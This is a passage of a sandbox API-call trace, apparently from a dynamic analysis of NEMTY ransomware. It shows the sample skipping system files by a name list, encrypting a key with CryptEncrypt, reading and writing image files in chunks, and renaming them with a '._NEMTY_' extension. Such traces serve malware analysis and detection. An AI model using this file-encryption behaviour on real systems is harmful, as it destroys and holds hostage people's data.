returned 0 [0136.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0136.698] CloseHandle (hObject=0xffffffff) returned 0 [0136.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0136.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0136.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0136.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0136.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0136.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0136.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0136.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0136.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0136.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0136.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\7.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\7.png._nemty_kgobjgd_")) returned 0 [0136.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0136.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0136.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0136.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0136.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0136.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0136.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0136.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0136.699] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a27eb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a27eb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39eb3709, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x52a7, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2=".") returned 1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="..") returned 1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="...") returned 1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="windows") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="$RECYCLE.BIN") returned 1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="rsa") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="NTDETECT.COM") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="ntldr") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="MSDOS.SYS") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="IO.SYS") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="boot.ini") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="boot.ini") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="AUTOEXEC.BAT") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="ntuser.dat") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="desktop.ini") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="CONFIG.SYS") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="RECYCLER") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="BOOTSECT.BAK") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="bootmgr") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="programdata") returned -1 [0136.699] lstrcmpiW (lpString1="8.png", lpString2="appdata") returned -1 [0136.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.png", lpUsedDefaultChar=0x0) returned 5 [0136.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.png", lpUsedDefaultChar=0x0) returned 5 [0136.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.png", lpUsedDefaultChar=0x0) returned 5 [0136.699] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.png", lpUsedDefaultChar=0x0) returned 5 [0136.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0136.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0136.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0136.700] Sleep (dwMilliseconds=0x5) [0136.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x5253890, dwHighDateTime=0x1d561e8)) [0136.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x5253890, dwHighDateTime=0x1d561e8)) [0136.739] GetLastError () returned 0x5 [0136.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0136.739] GetLastError () returned 0x5 [0136.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0136.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0136.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0136.739] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0136.739] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0136.739] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0136.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0136.739] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="PKlm+BTanfCtpeqSWt6AtcZQ67E9zJPx7x0qJGQbgflWINIuCr2YHsByw8dc6lIi\r\nLsS/Ho4SOat/Lpt8K8uRUKYWNtG3TBMp9stBjKVO7IUCHjralzdm35X1hs5p2oWC\r\n8b4kYbCBnoo6A6HKrDVS8amjx3TRHjZR/BWXMeVVEL/64aK+AtotbqrV3SV5cWd+\r\nTP1mSUeC++1Mc1hUONFq0gImh5BRrsC2S/L1anm+zB8YiYf79DBzt1hHYGYulSd0\r\nuuyeH0ouokxeRj8soHnxK9j9BrXVQjT5jCDHYz6CRwMQRpcF5EjWpGr9ZoPfLHML\r\n+R5WVdSU6pdOW0l+up01tg==\r\n", pcchString=0x653e91c) returned 1 [0136.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0136.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0136.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0136.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0136.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0136.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0136.740] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\8.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\8.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0136.740] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0136.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0136.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.740] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0136.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0136.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0136.875] SetFilePointer (in: hFile=0xffffffff, 